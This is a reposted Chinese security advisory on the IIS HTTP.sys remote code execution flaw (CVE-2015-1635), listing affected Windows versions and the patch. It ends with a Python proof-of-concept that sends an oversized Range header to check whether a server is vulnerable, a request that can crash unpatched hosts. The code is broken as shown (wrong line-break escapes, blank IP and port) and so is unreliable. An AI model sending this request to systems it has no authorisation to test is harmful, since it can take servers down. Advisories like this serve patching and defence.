转载

【安全告警】HTTP.sys 远程执行代码漏洞(CVE-2015-1635)

在微软4月14日补丁日发布的补丁中,有一个针对IIS服务器的远程代码执行漏洞危害非常大,请广大用户注意。

漏洞信息

远程执行代码漏洞存在于 HTTP 协议堆栈 (HTTP.sys) 中,当 HTTP.sys 未正确分析经特殊设计的 HTTP 请求时会导致此漏洞。 成功利用此漏洞的攻击者可以在系统帐户的上下文中执行任意代码。

若要利用此漏洞,攻击者必须将经特殊设计的 HTTP 请求发送到受影响的系统。 通过修改 Windows HTTP 堆栈处理请求的方式,安装更新可以修复此漏洞。

危害评级

严重

影响范围

影响以下版本操作系统的IIS服务器

Windows 7

Windows 8

Windows server 2008

Windows server 2012

修复方法

目前微软官方已经给出修复补丁(3042553),用户安装修复补丁即可。

参考

https://technet.microsoft.com/zh-CN/library/security/ms15-034.aspx

https://support.microsoft.com/zh-cn/kb/3042553

附测试POC

注:此脚本可验证服务器是否存在漏洞,但并没有经过充分的测试,不排除会产生不可预知的后果,请谨慎使用!

import socket

import random

ipAddr = ""

hexAllFfff = "18446744073709551615"

req1 = "GET / HTTP/1.0/r/n/r/n"

req = "GET / HTTP/1.1/r/nHost: stuff/r/nRange: bytes=0-" + hexAllFfff + "/r/n/r/n"

print "[*] Audit Started"

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client_socket.connect((ipAddr, ))

client_socket.send(req1)

boringResp = client_socket.recv( )

if "Microsoft" not in boringResp:

print "[*] Not IIS"

exit( )

client_socket.close()

client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client_socket.connect((ipAddr, ))

client_socket.send(req)

goodResp = client_socket.recv( )

if "Requested Range Not Satisfiable" in goodResp:

print "[!!] Looks VULN"

elif " The request has an invalid header name" in goodResp:

print "[*] Looks Patched"

else :

print "[*] Unexpected response, cannot discern patch status"

正文到此结束
Loading...